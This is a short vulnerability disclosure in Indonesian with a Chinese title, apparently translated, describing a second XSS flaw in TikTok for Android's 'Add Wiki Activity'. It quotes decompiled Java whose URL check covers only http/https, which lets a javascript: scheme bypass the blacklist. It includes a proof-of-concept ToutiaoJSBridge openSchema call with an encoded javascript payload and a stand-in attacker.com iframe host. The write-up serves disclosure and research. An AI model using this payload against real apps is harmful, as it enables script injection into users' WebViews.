安卓版TikTok XSS漏洞/id

Add Wiki Activity的另一个XSS

Tambahkan Aktivitas Wiki menerapkan verifikasi URL untuk memastikan bahwa URL dalam daftar hitam tidak akan dibuka di dalamnya. Namun verifikasi hanya dilakukan pada skema http atau https. Karena mereka yakin program lain tidak valid dan tidak perlu diverifikasi.

if(!e.b(arg8)) {

   com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
   return false;

}public static boolean b(String arg1) {

   return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);

}

Meskipun verifikasi tidak didasarkan pada solusi javascript, solusi ini juga dapat digunakan untuk melakukan serangan XSS di WebView.

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));